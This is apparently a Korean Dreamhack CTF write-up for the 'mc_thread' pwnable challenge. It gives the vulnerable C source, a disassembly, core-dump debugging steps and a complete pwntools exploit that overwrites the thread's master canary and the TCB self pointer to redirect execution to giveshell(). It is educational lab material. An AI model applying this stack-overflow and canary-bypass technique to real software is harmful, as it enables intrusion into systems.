제공 Dockerfile
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user mc_thread
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done
수정 Dockerfile
FROM ubuntu:22.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
WORKDIR /root
COPY . /root
docker build -t mc_thread .
docker run -it --rm --name mc1 mc_thread bash
mc_thread.c
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
pwndbg> checksec
[*] '/root/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드 분석giveshell() 로 마지막 목적지를 내어줬고 thread_routine() 함수에서 scanf로 받은 크기만큼 read_bytes 함수에서 buf를 읽는다. 여기서 일단 값을 바꿔낼 수 있다.
그리고 바로 프로그램이 끝나기 때문에 리턴 주소 흐름을 giveshell로 바꿔낼 수 있어야하는 걸로 보인다.
동적 분석
일단 thread_routine이 핵심이니 이 함수를 디스어셈 해줬다.
pwndbg> disassem thread_routine
Dump of assembler code for function thread_routine:
0x0000000000401316 <+0>: endbr64
0x000000000040131a <+4>: push rbp
0x000000000040131b <+5>: mov rbp,rsp
0x000000000040131e <+8>: sub rsp,0x120
0x0000000000401325 <+15>: mov rax,QWORD PTR fs:0x28
0x000000000040132e <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401332 <+28>: xor eax,eax
0x0000000000401334 <+30>: mov DWORD PTR [rbp-0x114],0x0
0x000000000040133e <+40>: lea rax,[rip+0xcc7] # 0x40200c
0x0000000000401345 <+47>: mov rdi,rax
0x0000000000401348 <+50>: mov eax,0x0
0x000000000040134d <+55>: call 0x4010e0 <printf@plt>
0x0000000000401352 <+60>: lea rax,[rbp-0x114]
0x0000000000401359 <+67>: mov rsi,rax
0x000000000040135c <+70>: lea rax,[rip+0xcb0] # 0x402013
0x0000000000401363 <+77>: mov rdi,rax
0x0000000000401366 <+80>: mov eax,0x0
0x000000000040136b <+85>: call 0x401140 <__isoc99_scanf@plt>
0x0000000000401370 <+90>: lea rax,[rip+0xc9f] # 0x402016
0x0000000000401377 <+97>: mov rdi,rax
0x000000000040137a <+100>: mov eax,0x0
0x000000000040137f <+105>: call 0x4010e0 <printf@plt>
0x0000000000401384 <+110>: mov edx,DWORD PTR [rbp-0x114]
0x000000000040138a <+116>: lea rax,[rbp-0x110]
0x0000000000401391 <+123>: mov esi,edx
0x0000000000401393 <+125>: mov rdi,rax
0x0000000000401396 <+128>: call 0x4012c1 <read_bytes>
0x000000000040139b <+133>: nop
0x000000000040139c <+134>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004013a0 <+138>: sub rax,QWORD PTR fs:0x28
0x00000000004013a9 <+147>: je 0x4013b0 <thread_routine+154>
0x00000000004013ab <+149>: call 0x4010d0 <__stack_chk_fail@plt>
0x00000000004013b0 <+154>: leave
0x00000000004013b1 <+155>: ret
thread_routine 에 브레이크를 걸고 대충 아무 SIze 넣고 read_bytes 함수에 들어갔다.
그리고 A * 8 을 입력해주고 충분히 뒤로 간 다음 스택을 확인해줬다.
입력받은 buf 값이 어디 저장되어있는지 보인다.
A 가 들어있는 곳을 조사 했더니 이렇게 카나리 값이 있는 곳을 찾았다.
근데 이 문제에서는 저 카나리 값을 읽을 방법이 없다.
그러니 그냥 마스터 카나리를 바꿔보자.
pwndbg> x/gx $fs_base+0x28
0x797253fbf668: 0x08ebf2d645951400
pwndbg> print 0x797253fbf668 - 0x797253fbed40
$1 = 2344
buf 부터 카나리가 있는 곳까지 거리는 구할 수 있으니 바로 익스플로잇 코드를 작성해줬다.
코어 덤프 확인용 익스플로잇 코드
from pwn import *
#p = remote('host8.dreamhack.games', 0)
p = process('./mc_thread')
e = ELF('./mc_thread')
giveshell_addr = e.symbols['giveshell']
p.sendlineafter(b'Size: ', b'294')
p.recvuntil(b'Data: ')
p.send(b'A'*2352)
p.interactive()
이렇게 작성하고 실행시키면
이렇게 (SIGSEGV)를 일으키며 멈추게 된다.
이걸 분석하기 위해 코어 덤프 파일을 생성하게 만들어주기 위해
ulimit -c unlimited
ulimit -a
위 명령어를 치고 core file size (blocks, -c) unlimited 이 부분이 0이 아니라 unlimited가 되도록 만들어주면 된다.
여기서 좀 고생을 많이 했는데, 저렇게 하고 난 뒤 덤프 코어 파일은 WSL에서는
C:\Users\<사용자 파일>\AppData\Local\Temp\wsl-crashes
여기에 만들어진다.
그러니 cmd 창을 열어준 다음
위 디렉토리로 가보면 이렇게 파일이 존재한다.
cmd 창보다 wsl 이 편하니까 이걸로 다시 열어주고 파일을 실습 폴더로 넘겨줬다.
도커로 넘겨주고 gdb로 파일을 열어주면 분석이 가능하다.
gdb mc_thread -c core.mc_thread.dmp
이렇게 SIGSEGV가 일어난 시점에서 확인할 수 있다.
그러고 이제
glibc-2.35.tar.gz 를 받고 압축해제를 해준다
wget "https://ftp.gnu.org/gnu/glibc/glibc-2.35.tar.gz" -O glibc-2.35.tar.gz
tar -xzvf glibc-2.35.tar.gz
다음으로
pwndbg> dir ./glibc-2.35
Source directories searched: /root/./glibc-2.35:$cdir:$cwd
pwndbg> tui enable
이제 tui 모드로 진입한 후 화면을 보면,
self 에 문제가 있었다고 나온다.
그럼 이제 self 에 원래 있던 알맞은 값을 한번 넣어보자
이렇게 위치를 구해했고 이제 마스터 카나리를 조작해보자
원본 TCB 위치가 아닌 새로운 위치에 가짜 구조체를 올릴 것이다.
쓰기가 가능한 영역에 가짜 구조체를 올리는 이유는 아래와같다.
쓰기 권한이 있는 새로운 가짜 구조체에는 원본 TCB와는 다르게 다른 중요 데이터를 덮어 쓸 위험도 없고, 더 안정적으로 원하는 동작을 이끌어 낼 수 있기 때문이라 한다.
해당 위치에 얼추 중간 위치인 0x404800을 사용했다.
이제 스택에 들어갈 것을 생각해서 거리를 계산해보면
이렇게 페이로드를 작성해준다.
| 아무 값 | 264 바이트 |
|---|---|
| 카나리 | 8바이트 |
| 아무 값 | 8바이트 |
| 조작할 리턴 주소 | 8바이트 |
| 아무 값 | 0x910 - 288 바이트 |
| self | 8 바이트 |
| 아무 값 | 16 바이트 |
| 조작한 마스터 카나 | 8 바이트 |
완성 익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 22166)
#p = process('./mc_thread')
elf = ELF('./mc_thread')
payload = b'A' * 264
payload += b'A' * 8 # canary
payload += b'B' * 8
payload += p64(elf.symbols['giveshell'])
payload += b'C' * (0x910 - len(payload))
payload += p64(0x404800 - 0x972) # avoid SIGSEGV when self->canceltype = PTHREAD_CANCEL_DEFERRED
payload += b'C' * 0x10
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload) // 8
p.sendlineafter(b'Size: ', str(inp_sz).encode())
p.sendafter(b'Data: ', payload)
p.interactive()
이렇게 답이 나왔다.
덤프 코어 파일을 볼 수 있는 방법이 있다는 걸 알았다.
나중에 분석할 때 정말 유용하게 쓰일 것 같다.
방법 까먹지 말고 기억해두자
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: overwrite _rtld_global (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] master_canary (0) | 2026.04.16 |
| [Pwnable Advanced] Seccomp (0) | 2026.04.15 |
| [Pwnable Advanced] Exploit Tech: Bypass SECCOMP (0) | 2026.04.15 |
| [Pwnable Advanced] Exercise: basic_exploitation_002 & basic_exploitation_003 (0) | 2026.04.15 |